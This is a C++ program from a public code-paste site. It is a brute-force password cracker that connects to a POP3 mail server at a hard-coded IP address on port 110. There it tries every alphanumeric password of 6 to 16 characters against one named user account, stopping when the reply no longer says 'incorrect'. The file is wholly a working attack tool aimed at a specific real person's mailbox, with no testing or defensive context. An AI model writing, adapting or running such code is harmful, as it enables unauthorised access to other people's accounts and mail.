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  1. #include <iostream>
  2. #include <ctime>
  3. #include <WinSock2.h>
  4.  
  5. #pragma comment(lib, "Ws2_32.lib")
  6.  
  7. using namespace std;
  8.  
  9.  
  10. static char alphabet[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
  11.  
  12. const int def_buf_size = 0x400;
  13.  
  14. const int pass_min = 6;
  15. const int pass_max = 0x10;
  16.  
  17. static clock_t start = 0;
  18. static clock_t end = 0;
  19.  
  20. static double elapsed = 0.0;
  21. static unsigned long long count = 0;
  22.  
  23. static char ip[] = "94.100.184.76";
  24. static u_short port = 110;
  25.  
  26. static WSAData data;
  27. static SOCKADDR_IN addr;
  28. static SOCKET sock;
  29. static int result;
  30. static char buffer[1024];
  31. static char *tmp;
  32. static char *pass = NULL;
  33. static size_t found;
  34.  
  35.  
  36. int MakeAttempt(int pos, int length, const char *dict, int *indexes, char *pass, unsigned long long *attempts, int maxIndex);
  37. char *BruteForce(int passmin, int passmax, const char *dict, unsigned long long *attempts);
  38. void HandleString(char *string, int size);
  39. void BytesSent(int size);
  40. void WSAInit(void);
  41.  
  42.  
  43. int MakeAttempt(int pos, int length, const char *dict, int *indexes, char *pass, unsigned long long *attempts, int maxIndex)
  44. {
  45. 	int i = 0;
  46. 	int j = 0;
  47.  
  48. 	for( ; i <= maxIndex; ++i)
  49. 	{
  50. 		indexes[pos] = i;
  51.  
  52. 		if(pos == length - 1)
  53. 		{
  54. 			for(j = 0; j < length; ++j)
  55. 			{
  56. 				pass[j] = dict[indexes[j]];
  57. 			}
  58.  
  59. 			++*attempts;
  60.  
  61. 			string tmp_brute = "pass ";
  62. 			tmp_brute.append(pass);
  63. 			tmp_brute.append("\r\n");
  64.  
  65. 			WSAInit();
  66.  
  67. 			result = connect(sock, (SOCKADDR*)&addr, sizeof(addr));
  68.  
  69. 			if(result == SOCKET_ERROR)
  70. 			{
  71. 				cout << "Can't connect to: " << ip << ":" << port << endl << "WSA error ( connect() ): " << WSAGetLastError() << endl;
  72. 				result = closesocket(sock);
  73.  
  74. 				if(result == SOCKET_ERROR)
  75. 				{
  76. 					cout << endl << "WSA error ( closesocket() ): " << WSAGetLastError() << endl;
  77. 					WSACleanup();
  78. 				}
  79. 			}
  80. 			else
  81. 			{
  82. 				result = recv(sock, buffer, def_buf_size, 0);
  83. 				tmp = buffer;
  84. 				HandleString(tmp, result);
  85.  
  86. 				cout << "Connected successfully to: " << ip << ":" << port << endl;
  87.  
  88. 				tmp = "user olegorlov90\r\n";
  89. 				cout << endl << "Sending data(" << strlen(tmp) << "): " << tmp;
  90. 				BytesSent(send(sock, tmp, strlen(tmp), 0));
  91.  
  92. 				result = recv(sock, buffer, def_buf_size, 0);
  93. 				tmp = buffer;
  94. 				HandleString(tmp, result);
  95.  
  96. 				const char *buf = tmp_brute.c_str();
  97. 				int len = strlen(tmp_brute.c_str());
  98.  
  99. 				cout << "Sending data(" << len << "): " << buf;
  100. 				BytesSent(send(sock, buf, len, 0));
  101.  
  102. 				result = recv(sock, buffer, def_buf_size, 0);
  103. 				tmp = buffer;
  104. 				HandleString(tmp, result);
  105.  
  106. 				string err_code = "incorrect";
  107. 				string data = string(tmp);
  108. 				found = data.find(err_code);
  109.  
  110. 				if(found != string::npos)
  111. 				{
  112. 					closesocket(sock);
  113. 					result = WSACleanup();
  114. 				}
  115. 				else
  116. 				{
  117. 					return 1;
  118. 				}
  119. 			}
  120. 		}
  121. 		else
  122. 		{
  123. 			if(MakeAttempt(pos + 1, length, dict, indexes, pass, attempts, maxIndex))
  124. 			{
  125. 				return 1;
  126. 			}
  127. 		}
  128. 	}
  129.  
  130. 	return 0;
  131. }
  132.  
  133. char *BruteForce(int passmin, int passmax, const char *dict, unsigned long long *attempts)
  134. {
  135. 	char *pass = (char*)malloc(passmax + 1);
  136. 	int *indexes = (int*)malloc(passmax * sizeof(int));
  137. 	int passLength = passmin;
  138. 	int maxIndex = strlen(dict) - 1;
  139.  
  140. 	memset(pass, 0, passmax + 1);
  141.  
  142. 	for(; passLength <= passmax; ++passLength)
  143. 	{
  144. 		if(MakeAttempt(0, passLength, dict, indexes, pass, attempts, maxIndex))
  145. 		{
  146. 			goto cleanup;
  147. 		}
  148. 	}
  149.  
  150. 	free(pass);
  151. 	pass = NULL;
  152.  
  153. cleanup:
  154. 	free(indexes);
  155. 	return pass;
  156. }
  157.  
  158. void HandleString(char *string, int size)
  159. {
  160. 	cout << endl << "Bytes received: " << size << endl << "Response from server: ";
  161.  
  162. 	for(int i = 0; i < size; i++)
  163. 	{
  164. 		cout << string[i];
  165. 	}
  166.  
  167. 	cout << endl;
  168. }
  169.  
  170. void BytesSent(int size)
  171. {
  172. 	cout << "Bytes sent: " << size << endl;
  173. }
  174.  
  175. void WSAInit(void)
  176. {
  177. 	result = WSAStartup(0x202, &data);
  178.  
  179. 	addr.sin_addr.s_addr = inet_addr(ip);
  180. 	addr.sin_family = AF_INET;
  181. 	addr.sin_port = htons(port);
  182.  
  183. 	if(result != NO_ERROR)
  184. 	{
  185. 		cout << endl << "WSA startup failed with the error: " << result << endl;
  186. 	}
  187. 	else
  188. 	{
  189. 		cout << data.szDescription << " " << data.szSystemStatus << endl;
  190. 	}
  191.  
  192. 	sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  193.  
  194. 	if(sock == INVALID_SOCKET)
  195. 	{
  196. 		cout << endl << "Socket init has failed with the error: " << WSAGetLastError() << endl;
  197. 		result = WSACleanup();
  198. 	}
  199. 	else
  200. 	{
  201. 		cout << endl << "Socket init has successfully!" << endl;
  202. 	}
  203. }
  204.  
  205. int main(void)
  206. {
  207. 	WSAInit();
  208.  
  209. 	start = clock();
  210.  
  211. 	cout << "Attempting to brute force..." << endl;
  212.  
  213. 	if(pass = BruteForce(pass_min, pass_max, alphabet, &count))
  214. 	{
  215. 		cout << "The correct password is: " << pass << endl;
  216. 		free(pass);
  217. 	}
  218.  
  219. 	end = clock();
  220.  
  221. 	elapsed = ((double)(end - start)) / CLOCKS_PER_SEC;
  222. 	cout << "Time elapsed: " << elapsed << " seconds" << endl;
  223.  
  224. 	if(elapsed >= 1)
  225. 	{
  226. 		cout << "Trys per second was: " << (count / elapsed) << endl;
  227. 	}
  228.  
  229. 	return 0;
  230. }
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https://ideone.com/nVXIQ
language:
C++ (gcc 8.3)
created:
13 years ago
visibility:
public

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